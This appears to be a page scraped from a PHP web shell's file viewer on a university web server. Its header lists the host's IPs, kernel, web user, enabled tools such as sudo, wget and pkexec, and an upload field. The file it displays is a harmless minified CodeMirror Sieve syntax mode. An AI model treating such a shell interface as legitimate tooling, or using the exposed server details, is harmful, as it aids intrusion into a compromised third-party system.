| Server IP : 104.21.84.107 / Your IP : 104.23.243.197 Web Server : Apache/2.4.63 (Ubuntu) System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 8.4.5 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/pregrados/ingenieria-sistemas/media/vendor/codemirror/mode/sieve/ |
Upload File : |
(function(t){typeof exports=="object"&&typeof module=="object"?t(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],t):t(CodeMirror)})(function(t){"use strict";t.defineMode("sieve",function(c){function f(n){for(var e={},i=n.split(" "),r=0;r<i.length;++r)e[i[r]]=!0;return e}var d=f("if elsif else stop require"),p=f("true false not"),k=c.indentUnit;function u(n,e){var i=n.next();if(i=="/"&&n.eat("*"))return e.tokenize=l,l(n,e);if(i==="#")return n.skipToEnd(),"comment";if(i=='"')return e.tokenize=v(i),e.tokenize(n,e);if(i=="(")return e._indent.push("("),e._indent.push("{"),null;if(i==="{")return e._indent.push("{"),null;if(i==")"&&(e._indent.pop(),e._indent.pop()),i==="}")return e._indent.pop(),null;if(i==","||i==";"||/[{}\(\),;]/.test(i))return null;if(/\d/.test(i))return n.eatWhile(/[\d]/),n.eat(/[KkMmGg]/),"number";if(i==":")return n.eatWhile(/[a-zA-Z_]/),n.eatWhile(/[a-zA-Z0-9_]/),"operator";n.eatWhile(/\w/);var r=n.current();return r=="text"&&n.eat(":")?(e.tokenize=h,"string"):d.propertyIsEnumerable(r)?"keyword":p.propertyIsEnumerable(r)?"atom":null}function h(n,e){return e._multiLineString=!0,n.sol()?(n.next()=="."&&n.eol()&&(e._multiLineString=!1,e.tokenize=u),"string"):(n.eatSpace(),n.peek()=="#"?(n.skipToEnd(),"comment"):(n.skipToEnd(),"string"))}function l(n,e){for(var i=!1,r;(r=n.next())!=null;){if(i&&r=="/"){e.tokenize=u;break}i=r=="*"}return"comment"}function v(n){return function(e,i){for(var r=!1,o;(o=e.next())!=null&&!(o==n&&!r);)r=!r&&o=="\\";return r||(i.tokenize=u),"string"}}return{startState:function(n){return{tokenize:u,baseIndent:n||0,_indent:[]}},token:function(n,e){return n.eatSpace()?null:(e.tokenize||u)(n,e)},indent:function(n,e){var i=n._indent.length;return e&&e[0]=="}"&&i--,i<0&&(i=0),i*k},electricChars:"}"}}),t.defineMIME("application/sieve","sieve")});